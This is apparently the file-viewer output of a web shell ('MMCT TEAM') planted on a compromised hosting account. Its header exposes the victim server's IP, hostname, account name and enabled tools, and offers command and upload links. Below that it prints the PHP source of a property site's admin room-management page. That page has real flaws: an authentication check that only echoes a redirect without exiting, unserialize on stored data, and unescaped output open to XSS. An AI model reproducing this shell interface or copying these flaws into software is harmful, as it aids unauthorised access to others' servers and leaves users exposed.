MMCT TEAM
Server IP : 111.118.215.189  /  Your IP : 18.188.93.255
Web Server : Apache
System : Linux md-in-83.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : a1673wkz ( 2475)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home1/a1673wkz/propstonerealty.com/Admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home1/a1673wkz/propstonerealty.com/Admin/product.php
 <?php
    session_start();
    if(empty($_SESSION['username']))
    {
        echo '<script>window.location.href="login.php"</script>';
    }
    ?>
<!DOCTYPE html>
<html>
<?php //header link
include("header_link.php"); ?>
<link rel="stylesheet"href="https://cdn.jsdelivr.net/npm/@fancyapps/ui@4.0/dist/fancybox.css"/>
<link href="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote.min.css" rel="stylesheet">
    <body>
        <?php
//database file link
include("config.php");
?>
            <?php
 // header
include("header.php");
?>
        <!-- Main Wrapper -->
        <div class="main-wrapper">
            <!-- Page Wrapper -->
            <div class="page-wrapper">
                <!-- Page Content -->
                <div class="content container-fluid">
                    <!-- Page Header -->
                    <div class="page-header">
                        <div class="row align-items-center">
                            <div class="col">
                                <h3 class="page-title">Rooms</h3>
                                <ul class="breadcrumb">
                                    <li class="breadcrumb-item"><a href="index.html">Dashboard</a></li>
                                    <li class="breadcrumb-item active">Rooms</li>
                                </ul>
                            </div>
                            <div class="col-auto float-right ml-auto">
                                <a href="#" class="btn add-btn" data-toggle="modal" data-target="#add_holiday"><i class="fa fa-plus"></i> Add Rooms</a>
                            </div>
                        </div>
                    </div>
                    <!-- /Page Header -->
                    <script src="js/jquery-3.2.1.min.js"></script>
                    <div class="row">
                        <div class="col-md-12">
                            <div class="table-responsive">
                                <table class="table table-striped datatable custom-table mb-0" id="doctor">
                                    <thead>
                                        <tr>
                                            <th>#</th>
                                            <th>Title</th>
                                            <th>Room No</th>
                                            <th>Capacity</th>
                                            <th>Max Child</th>
                                            <th>Lable Price</th>
                                            <th>Price</th>
                                            <th>Qty</th>
                                            <th>Description</th>
                                            <th>Image</th>
                                            <th class="text-right">Action</th>
                                        </tr>
                                    </thead>
                                    <tbody>
                                        <?php
                                            $cnt='0';
                                            $selct=$obj->fetch("SELECT * FROM products ORDER BY id DESC"); foreach($selct as $val) { $cnt++; $old=$val['image'];?>
                                        <tr class="holiday-upcoming">
                                            <td><?php echo $cnt; ?></td>
                                           
                                            <td><?php echo $val['title'] ?></td>
                                            <td><?php echo $val['room_no'] ?></td>
                                            <td><?php echo $val['capacity'] ?></td>
                                            <td><?php echo $val['max_child'] ?></td>
                                            <td><?php echo $val['description'] ?></td>
                                            <td><?php echo $val['price'] ?></td>
                                            <td><?php echo $val['qty'] ?></td>
                                            <td>
                                                <i class="fa fa-eye" data-toggle="modal" data-target="#exampleModalLong<?php echo $cnt; ?>" style="cursor:pointer;font-size:24px;"></i>
                                                
                                                <!-- Modal -->
                                                    <div class="modal fade" id="exampleModalLong<?php echo $cnt; ?>" tabindex="-1" role="dialog" aria-labelledby="exampleModalLongTitle" aria-hidden="true">
                                                      <div class="modal-dialog" role="document">
                                                        <div class="modal-content">
                                                          <div class="modal-header">
                                                              <?php echo $val['title'] ?> Description
                                                            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                                              <span aria-hidden="true">&times;</span>
                                                            </button>
                                                          </div>
                                                          <div class="modal-body">
                                                           <?php echo base64_decode($val['des']); ?>
                                                          </div>
                                                          <div class="modal-footer">
                                                            <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                                                          </div>
                                                        </div>
                                                      </div>
                                                    </div>
                                            </td>
                                            <td>
                                              <?php
                                            $unser=unserialize($val['image']);
                                            //print_r($unser);
                                            $cn=count($unser);
                                           
                                            for($i=0;$i<=$cn;$i++)
                                            {
                                                $unser[$i];
                                            
                                            ?>
                                             <a data-fancybox="video-gallery<?php echo $val['id']; ?>" id="imga" data-caption="<?php echo $unser[$i] ?>" data-src="<?php echo $unser[$i] ?>" style="cursor:pointer;">
                                             <img src="<?php echo $unser[$i] ?>" style="width: 100px;">
                                             </a>
                                             <?php } ?>
                                             </td>
                                             <td class="text-right">
                                                <div class="dropdown dropdown-action">
                                                    <a href="#" class="action-icon dropdown-toggle" data-toggle="dropdown" aria-expanded="false"><i class="material-icons">more_vert</i></a>
                                                    <div class="dropdown-menu dropdown-menu-right">
                                                        <a class="dropdown-item" href="edit-product-form.php?id=<?php echo base64_encode($val['id']); ?>"><i class="fa fa-pencil m-r-5"></i> Edit</a>
                                                        <a class="dropdown-item" href="#" data-toggle="modal" data-target="#delete_holiday<?php echo $cnt; ?>"><i class="fa fa-trash-o m-r-5"></i> Delete</a>
                                                    </div>
                                                </div>
                                            </td>
                                        </tr>
                                        <!-- Edit Doctor Modal -->
                                        <div class="modal custom-modal fade" id="edit_doctor_modal<?php echo $cnt; ?>" role="dialog">
                                            <div class="modal-dialog modal-dialog-centered" role="document">
                                                <div class="modal-content">
                                                    <div class="modal-header">
                                                        <h5 class="modal-title">Edit Rooms</h5>
                                                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                                            <span aria-hidden="true">&times;</span>
                                                        </button>
                                                    </div>
                                                    <div class="modal-body" >
                                                        <form id="edit_doctor<?php echo $cnt; ?>" class="doct<?php echo $cnt; ?>">
                                                             
                                                            <div class="form-group">
                                                                <label>Title <span class="text-danger">*</span></label>
                                                                <input id="banner<?php echo $val['id']; ?>" class="form-control" value="<?php echo $val['title']; ?>" name="dr_name" type="text" />
                                                                <span class="dr_name"></span>
                                                            </div>
                                                            <div class="form-group">
                                                                <label>Room No. <span class="text-danger">*</span></label>
                                                                <input id="banner<?php echo $val['id']; ?>" class="form-control" value="<?php echo $val['room_no']; ?>" name="room_no" type="text" />
                                                                <span class="dr_name"></span>
                                                            </div>
                                                            <div class="form-group">
                                                                <label>Capacity <span class="text-danger">*</span></label>
                                                                <input id="qly<?php echo $val['id']; ?>" class="form-control" value="<?php echo $val['capacity']; ?>" type="text" name="capacity" />
                                                                <span class="qly"></span>
                                                            </div>
                                                            <div class="form-group">
                                                                <label>Max Child <span class="text-danger">*</span></label>
                                                                <input id="qly<?php echo $val['id']; ?>" class="form-control" value="<?php echo $val['max_child']; ?>" type="text" name="max_child" />
                                                                <span class="qly"></span>
                                                            </div>
                                                            <div class="form-group">
                                                                <label>Lable Price <span class="text-danger">*</span></label>
                                                                <input id="qly<?php echo $val['description']; ?>" class="form-control" value="<?php echo $val['description']; ?>" type="text" name="qly" />
                                                                <span class="qly"></span>
                                                            </div>
                                                            <div class="form-group">
                                                                <label>Price <span class="text-danger">*</span></label>
                                                                <input id="qly<?php echo $val['id']; ?>" class="form-control" value="<?php echo $val['price']; ?>" type="text" name="price" />
                                                                <span class="qly"></span>
                                                            </div>
                                                            <div class="form-group">
                                                                <label>Qty <span class="text-danger">*</span></label>
                                                                <input id="qly<?php echo $val['id']; ?>" class="form-control" value="<?php echo $val['qty']; ?>" type="text" name="qty" />
                                                                <span class="qly"></span>
                                                            </div>
                                                             <div class="form-group">
                                                                <label>Description <span class="text-danger">*</span></label>
                                                                <textarea class="form-control summernote" name="des"><?php echo base64_decode($val['des']); ?></textarea>
                                                                <span class="des" style="color: red;"></span>
                                                            </div>
                                                            <?php
                                                            $to_img=0;
                                                                for($i=0;$i<$cn;$i++)
                                                                {
                                                                      if( $unser[$i])
                                                                      {
                                                                          $to_img++;
                                                                ?>
                                                            <div class="form-group">
                                                                
                                                                <label>Image <span class="text-danger">*</span></label><br />
                                                                <a data-fancybox="image" id="imga" data-caption="<?php echo $unser[$i] ?>" data-src="<?php echo $unser[$i] ?>" style="cursor:pointer;">
                                                                <img class="thumbnail img<?php echo $i; ?>" id="img" src="<?php echo $unser[$i]; ?>" style="width: 100px;" />
                                                                </a>
                                                                <input id="image<?php echo $val['id']; ?>" class="form-control file<?php echo $i; ?>" type="file" style="margin-top: 10px;" name="img[]" />
                                                                <input type="hidden" name="old_image[]" value="<?php echo $unser[$i]; ?>" id="old_image" />
                                                                
                                                            </div>
                                                            <script type="text/javascript">
                                                                $(".file<?php echo $i; ?>").on("change", function (e) {
                                                                    e.preventDefault();
                                                                    var src = URL.createObjectURL(event.target.files[0]);
                                                                    //alert(src);
                                                                    $(".img<?php echo $i; ?>").prop("src", src);
                                                                });
                                                                </script>
                                                            <?php }} ?>
                                                            <div class="add_img"></div>
                                                            
                                                            <div class="submit-section">
                                                                <span  class="btn btn-primary" id="add_input">+</span>
                                                                <input type="hidden" class="total_img" name="total_img" value="<?php echo $to_img; ?>">
                                                                <input type="hidden" name="doctor_id" value="<?php echo $val['id']; ?>" id="doctor_id" />
                                                                <button name="submit" id="edit_banner_btn<?php echo $val['id']; ?>" class="btn btn-primary edit_banner_btn" >Submit</button>
                                                            </div>
                                                            <div class="preview1" style="text-align: center;"></div>
                                                        </form>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <!-- / End Edit banner Modal -->
                                        <!-- Delete banner Modal -->
                                        <div class="modal custom-modal fade" id="delete_holiday<?php echo $cnt; ?>" role="dialog">
                                            <div class="modal-dialog modal-dialog-centered">
                                                <div class="modal-content">
                                                    <div class="modal-body">
                                                        <div class="form-header">
                                                            <h3>Delete Rooms</h3>
                                                            <p>Are you sure want to delete?</p>
                                                        </div>
                                                        <div class="modal-btn delete-action">
                                                            <div class="row">
                                                                <div class="col-6">
                                                                    <input type="hidden" id="old_image1<?php echo $val['id']; ?>" value="<?php echo $old; ?>" />
                                                                    <button class="btn btn-primary continue-btn" value="<?php echo $val['id']; ?>" id="dlt_btn<?php echo $val['id']; ?>" style="width: 100%;">Delete</button>
                                                                </div>
                                                                <div class="col-6">
                                                                    <a href="javascript:void(0);" data-dismiss="modal" class="btn btn-primary cancel-btn">Cancel</a>
                                                                </div>
                                                            </div>
                                                            <div class="row">
                                                                <div class="col-12" align="center" style="padding-top: 15px;"><span id="preview3"></span></div>
                                                            </div>
                                                        </div>
                                                    </div>
                                                </div>
                                            </div>
                                        </div>
                                        <!-- / End Delete banner Modal -->
                                        <!-- Edit script Modal -->
                                        <script type="text/javascript">
                                            $(document).ready(function (e) {
                                                // Submit form data via Ajax
                                                $("#edit_doctor<?php echo $cnt; ?>").on("submit", function (e) {
                                                    e.preventDefault();
                                                    //alert("w");
                                                    $.ajax({
                                                        type: "POST",
                                                        url: "edit_product.php",
                                                        data: new FormData(this),
                                                        contentType: false,
                                                        cache: false,
                                                        processData: false,
                                                        beforeSend: function(){
                                                            $('#edit_banner_btn<?php echo $val['id']; ?>').html('<i class="fa fa-spinner fa-spin" style="font-size:24px"></i>');
                                                        },
                                                        success: function (data) {
                                                            //console.log(response);

                                                            // var mydata = JSON.parse(response);
                                                            // alert(data);
                                                            // console.log(response.message);
                                                            $(".preview1").html(data);
                                                            // setTimeout(function () {
                                                          // setTimeout(location.reload.bind(location), 1500);
                                                            // }, 1000);
                                                            // if(response.status == 1){
                                                            //     $('#fupForm')[0].reset();
                                                            //     $('.statusMsg').html('<p class="alert alert-success">'+response.message+'</p>');
                                                            // }else{
                                                            //     $('.statusMsg').html('<p class="alert alert-danger">'+response.message+'</p>');
                                                            // }
                                                            // $('#fupForm').css("opacity","");
                                                            // $(".submitBtn").removeAttr("disabled");
                                                        },
                                                    });
                                                });
                                            });
                                        </script>
                                        <!-- End Edit Script Modal -->
                                        <!-- Delete Script Modal -->
                                        <script>
                                            $("#dlt_btn<?php echo $val['id']; ?>").click("submit", function () {
                                                var dlt_btn = $(this).val();
                                                var flag = true;
                                                var old_image1 = $("#old_image1<?php echo $val['id']; ?>").val();
                                                //alert(old_image1);

                                                /********validate all our form fields***********/
                                                if (dlt_btn == "") {
                                                    $("#dlt_btn").css("border-color", "red");
                                                    flag = false;
                                                }
                                                if (old_image1 == "") {
                                                    flag = false;
                                                }

                                                if (flag) {
                                                    $.ajax({
                                                        url: "delete_product.php",
                                                        method: "POST",
                                                        data: { dlt_btn: dlt_btn, old_image1: old_image1 },
                                                        success: function (data) {
                                                            //var result=JSON.parse(data);
                                                            //alert(data);
                                                            $("#preview3").html(data);
                                                            //alert("success");
                                                            //location.reload();
                                                             setTimeout(function () {
                                                                setTimeout(location.reload.bind(location), 1500);
                                                            }, 1000);
                                                        },
                                                    });
                                                }
                                            });
                                        </script>
                                        <!-- End Delete Script Modal -->
                                        <!-- End Delete Script Modal -->

                                        <?php } ?>
                                    </tbody>
                                </table>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- /Page Content -->

                <!-- Add banner Modal -->
                <div class="modal custom-modal fade" id="add_holiday" role="dialog">
                    <div class="modal-dialog modal-dialog-centered" role="document">
                        <div class="modal-content">
                            <div class="modal-header">
                                <h5 class="modal-title">Add Rooms</h5>
                                <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                                    <span aria-hidden="true">&times;</span>
                                </button>
                            </div>
                            <div class="modal-body">
                                <form id="fupForm" enctype="multipart/form-data">
                                  
                                    <div class="form-group">
                                        <label>Title <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="dr_name" id="dr_name" />
                                    </div>
                                    <div class="form-group">
                                        <label>Room No. <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="room_no" id="room_no" />
                                    </div>
                                    <div class="form-group">
                                        <label>Capacity <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="capacity" id="capacity" />
                                    </div>
                                    <div class="form-group">
                                        <label>Max Children <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="max_child" id="max_child" />
                                    </div>
                                    <div class="form-group">
                                        <label>Lable Price <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text"  name="qly" id="qly" />
                                        <span class="qly" style="color: red;"></span>
                                    </div>
                                     <div class="form-group">
                                        <label>Price <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="price" id="price" />
                                        <span class="price" style="color: red;"></span>
                                    </div>
                                    <div class="form-group">
                                        <label>Qty <span class="text-danger">*</span></label>
                                        <input class="form-control" type="text" name="qty" id="qty" />
                                        <span class="qty" style="color: red;"></span>
                                    </div>
                                     <div class="form-group">
                                        <label>Description <span class="text-danger">*</span></label>
                                        <textarea class="form-control summernote" name="des"></textarea>
                                        <span class="des" style="color: red;"></span>
                                    </div>
                                    <div class="form-group">
                                        <label>Image <span class="text-danger">*</span></label>
                                        <input class="form-control" type="file" name="image[]" id="image" />
                                        <span class="image" style="color: red;"></span>      
                                    </div>
                                    <div id="row"></div>
                                    <div class="submit-section">
                                        <span  class="btn btn-primary" id="add">+</span>
                                        <input type="hidden" name="total_item" id="total_item" value="1">
                                        <input type="submit" name="edit" class="btn btn-primary submit-btn" id="submit" value="Submit" />
                                    </div>
                                </form>
                                <div class="statusMsg" style="text-align: center;"></div>
                            </div>
                        </div>
                    </div>
                </div>
                <!-- /Add banner Modal -->

    
            </div>
        </div>
        <?php
//footer link
include("footer_link.php");

//footer
include("footer.php");

?>
    </body>
</html>
<script type="text/javascript">
    $(document).ready(function (e) {
        // Submit form data via Ajax
        $("#fupForm").on("submit", function (e) {
            e.preventDefault();
            $.ajax({
                type: "POST",
                url: "add_product.php",
                data: new FormData(this),
                contentType: false,
                cache: false,
                processData: false,
                // beforeSend: function(){
                //     $('.submitBtn').attr("disabled","disabled");
                //     $('#fupForm').css("opacity",".5");
                // },
                success: function (data) {
                    //console.log(response);

                    // var mydata = JSON.parse(response);
                    //alert(data);
                    // console.log(response.message);
                    $(".statusMsg").html(data);
                     setTimeout(function () {
                                            setTimeout(location.reload.bind(location), 1500);
                                        }, 1000);
                    // if(response.status == 1){
                    //     $('#fupForm')[0].reset();
                    //     $('.statusMsg').html('<p class="alert alert-success">'+response.message+'</p>');
                    // }else{
                    //     $('.statusMsg').html('<p class="alert alert-danger">'+response.message+'</p>');
                    // }
                    // $('#fupForm').css("opacity","");
                    // $(".submitBtn").removeAttr("disabled");
                },
            });
        });
    });
</script>

<script type="text/javascript">
    $(".file").on("change", function (e) {
        e.preventDefault();
        var src = URL.createObjectURL(event.target.files[0]);
        //alert(src);
        $(".img").prop("src", src);
    });
</script>
<script>
  $(document).ready(function(){
      var count = 1;
      $("#add").on("click", function(){
            count++;
           $('#total_item').val(count);
           var html_code = '';
            html_code +='<div class="form-group" id="ro'+count+'">';
            html_code +='<label>Image '+count+'</label>';
            html_code +='<div style="width:100%;display:flex;">';
            html_code +='<input class="form-control" type="file" name="image[]" data-srno="'+count+'" id="image'+count+'" style="width:90%;">';
            html_code +='<span class="btn btn-danger remove_row" style="width:10%;" id="'+count+'"><i class="fa fa-remove" style="padding-top:8px;"></i></span>';
            html_code +='</div>';
            html_code +='</div>';
            $('#row').append(html_code);
      });
      $(document).on('click', '.remove_row', function(){
          var row_id = $(this).attr("id");
           $('#ro'+row_id).remove();
          count--;
          $('#total_item').val(count);
      });
  });
  </script>
  <script>
  $(document).ready(function(){
      var count = $('.total_img').val();
      $("#add_input").on("click", function(){
            count++;
           $('.total_img').val(count);
           var html_code = '';
            html_code +='<div class="form-group" id="ro_input'+count+'">';
            html_code +='<label>Image</label>';
            html_code +='<div style="width:100%;display:flex;">';
            html_code +='<input class="form-control" type="file" name="img[]" data-srno="'+count+'" id="image'+count+'" style="width:90%;">';
            html_code +='<span class="btn btn-danger remove_row" style="width:10%;" id="'+count+'"><i class="fa fa-remove" style="padding-top:8px;"></i></span>';
            html_code +='</div>';
            html_code +='</div>';
            $('.add_img').append(html_code);
      });
      $(document).on('click', '.remove_row', function(){
          var row_id = $(this).attr("id");
           $('#ro_input'+row_id).remove();
          count--;
          $('.total_img').val(count);
      });
  });
  </script>.
  <script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui@4.0/dist/fancybox.umd.js"></script>
 <script src="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote.min.js"></script>
 <script>
       $('.summernote').summernote();

 </script>
  

MMCT - 2023